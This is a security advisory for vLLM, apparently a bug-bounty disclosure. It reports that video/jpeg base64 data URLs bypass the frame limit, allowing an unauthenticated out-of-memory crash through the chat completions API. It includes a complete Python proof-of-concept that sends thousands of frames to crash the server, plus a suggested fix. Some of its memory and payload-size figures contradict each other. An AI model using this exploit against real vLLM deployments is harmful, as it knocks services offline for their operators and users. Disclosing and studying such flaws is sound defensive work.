Unbounded Frame Count in video/jpeg Base64 Data URL Processing Leads to OOM DoS in vllm-project/vllm
Valid
Reported on Mar 6th 2026
Summary
The VideoMediaIO.load_base64() method in vLLM's multimodal processing pipeline splits video/jpeg data URLs by comma delimiters to extract individual JPEG frames, but does not enforce a frame count limit. An attacker can craft a single API request containing thousands of comma-separated base64-encoded JPEG frames in a data URL, causing the server to decode all frames into memory and crash with an Out-of-Memory (OOM) condition.
Description
The VideoMediaIO.load_base64() method at vllm/multimodal/media/video.py:51-62 processes video/jpeg data URLs by splitting the base64 data string on commas and decoding each segment as a separate JPEG frame:
def load_base64(self, media_type: str, data: str) -> tuple[npt.NDArray, dict[str, Any]]:
if media_type.lower() == "video/jpeg":
load_frame = partial(self.image_io.load_base64, "image/jpeg")
return np.stack(
[np.asarray(load_frame(frame_data)) for frame_data in data.split(",")]
), {}
return self.load_bytes(base64.b64decode(data))
The critical issue is that data.split(",") produces an unbounded list. The num_frames parameter (default: 32), which is enforced by the load_bytes() code path (line 47-48), is completely bypassed in the video/jpeg base64 path.
Each JPEG frame decodes to a full numpy array in memory. For example:
- A 1920x1080 JPEG decodes to ~6.2 MB of raw pixel data (1920 × 1080 × 3 bytes)
- 10,000 frames = ~62 GB of memory
np.stack()then creates an additional copy for the combined array
This path is reachable from the standard OpenAI-compatible chat completions API with no authentication required (default configuration).
Note on video/jpeg MIME Type
video/jpeg is NOT a standard IANA-registered MIME type. It is a vLLM-specific format invented to encode video as comma-separated base64 JPEG frames in data URLs. However, this format is part of vLLM's public API surface:
- vLLM's own utility generates it:
encode_video_url()atvllm/multimodal/utils.py:96-108producesdata:video/jpeg;base64,...URLs:
def encode_video_url(frames, *, format="JPEG"):
video_b64 = encode_video_base64(frames, format=format)
if format.lower() == "jpeg":
mimetype = "video/jpeg"
return f"data:{{mimetype}};base64,{{video_b64}}"
```
2. **Official test suites use it**: `tests/entrypoints/openai/test_video.py:62` and `tests/entrypoints/test_chat_utils.py:153` both use `encode_video_url()` to test the public API.
3. **Reachable from the standard OpenAI-compatible API** via `video_url` content type in `/v1/chat/completions` (see Data Flow below).
4. **The inconsistency proves it's a bug, not design**: The same class's `load_bytes()` path enforces `num_frames` (default 32), but `load_base64("video/jpeg", ...)` does not. If skipping the limit were intentional, `load_bytes()` would also skip it.
# Root Cause
The `video/jpeg` base64 code path uses a simple `str.split(",")` to extract frames from the data URL payload. Unlike the `load_bytes()` path which delegates to a video loader that respects `self.num_frames`, the base64 path directly iterates over ALL comma-separated segments without any frame count limit.
# Attack Vector
### Prerequisites
- vLLM server running with a multimodal (vision/video) model
- API endpoint accessible to the attacker (default: `0.0.0.0:8000`, no authentication)
### Steps
1. Craft a data URL in `video/jpeg` format containing thousands of comma-separated base64-encoded JPEG frames
2. Send a single chat completion request with this data URL as a `video_url` input
3. The server decodes ALL frames into memory, causing OOM and process crash
### Data Flow (verified with exact source references)
POST /v1/chat/completions
{ "messages": [{ "role": "user", "content": [
{ "type": "video_url", "video_url": {
"url": "data:video/jpeg;base64,
}}
]}]}
→ chat_utils.py:1434 part_type == "video_url" → mm_parser.parse_video(str_content)
→ chat_utils.py:872 parse_video() → self._connector.fetch_video(video_url=url)
→ connector.py:295 fetch_video() → load_from_url(url, self.video_io)
→ connector.py:140 load_from_url(): scheme == "data:" → _load_data_url(url_spec, media_io)
→ connector.py:91 _load_data_url(): url_spec.path.split(",", 1)
→ media_type = "video/jpeg"
→ data = "
**Key detail**: `connector.py:91` uses `split(",", 1)` which splits on only the FIRST comma (separating the MIME type header from data). All remaining commas stay in `data` and are later split by `video.py:54`'s unbounded `data.split(",").
# Proof of Concept
```python
"""
PoC: vLLM Video/JPEG Frame Bomb DoS
Sends a single request with thousands of JPEG frames in a data URL,
causing the server to OOM crash.
"""
import base64
import io
import requests
from PIL import Image
VLLM_URL = "http://localhost:8000/v1/chat/completions"
MODEL = "Qwen/Qwen2.5-VL-7B-Instruct" # Any vision/video model
NUM_FRAMES = 5000 # 5000 frames × ~6MB each = ~30GB memory
def make_tiny_jpeg() -> str:
"""Create a small but valid JPEG that decodes to a reasonable size."""
img = Image.new("RGB", (640, 480), color="red")
buf = io.BytesIO()
img.save(buf, format="JPEG")
return base64.b64encode(buf.getvalue()).decode("utf-8")
# Create one JPEG frame and replicate it thousands of times
frame_b64 = make_tiny_jpeg()
# Each 640x480 JPEG decodes to ~921,600 bytes (640*480*3)
# 5000 frames = ~4.6 GB of raw numpy arrays
bomb_data = ",".join([frame_b64] * NUM_FRAMES)
data_url = f"data:video/jpeg;base64,{bomb_data}"
payload = {
"model": MODEL,
"messages": [\
{\
"role": "user",\
"content": [\
{\
"type": "video_url",\
"video_url": {"url": data_url},\
},\
{"type": "text", "text": "Describe this video"},\
],\
}\
],
"max_tokens": 10,
}
print(f"[*] Sending {NUM_FRAMES} JPEG frames as video/jpeg data URL")
print(f"[*] Expected memory consumption: ~{NUM_FRAMES * 640 * 480 * 3 / 1024**3:.1f} GB")
try:
resp = requests.post(VLLM_URL, json=payload, timeout=300)
print(f"[*] Response: {resp.status_code}")
print(resp.text[:500])
except requests.exceptions.ConnectionError:
print("[!] Server crashed (connection refused) - OOM confirmed")
except Exception as e:
print(f"[!] Error: {e}")
Contrast with Existing Protections
| Code Path | Frame Limit | File |
|---|---|---|
load_bytes() (binary video) |
Yes — num_frames parameter (default 32) |
video.py:46-49 |
load_base64("video/jpeg", ...) |
No — unlimited data.split(",") |
video.py:51-62 |
The load_bytes() path properly delegates to a video loader that extracts at most num_frames frames. The load_base64() path for video/jpeg bypasses this limit entirely.
Suggested Fix Direction
Apply the num_frames limit to the video/jpeg base64 code path:
# In VideoMediaIO.load_base64():
if media_type.lower() == "video/jpeg":
frames = data.split(",")
if len(frames) > self.num_frames:
frames = frames[:self.num_frames] # or uniform sampling
...
Impact
- Availability: An unauthenticated attacker can crash the vLLM server process with a single API request
- No authentication required: vLLM has no default authentication
- Single request: Unlike streaming-based DoS, this requires only one request
- Amplification: The compressed JPEG payload is small (~100KB for 5000 frames) but decompresses to gigabytes in memory
- Production impact: All in-flight requests are lost when the server crashes
Occurrences
video.py L51-L62
The vulnerable code at video.py:61 splits user-supplied base64 data on commas without any frame count limit. The num_frames parameter (default: 32) is enforced in the load_bytes() path (line 47-48) but completely bypassed here. An attacker can send thousands of comma-separated JPEG frames in a single data:video/jpeg;base64,... URL via the /v1/chat/completions API, causing unbounded memory allocation and OOM crash.
References
CVE
CVE-2026-5497 published
Vulnerability Type
CWE-400: Uncontrolled Resource Consumption
Severity
High (7.5)
Attack vector Network
Attack complexity Low
Privileges required None
User interaction None
Scope Unchanged
Confidentiality None
Integrity None
Availability High
Open in visual CVSS calculator
Registry
Pypi
Affected Version
vLLM 0.8.0+
Visibility
Public
Status
Fixed
Found by
@seory0
LIGHTWEIGHT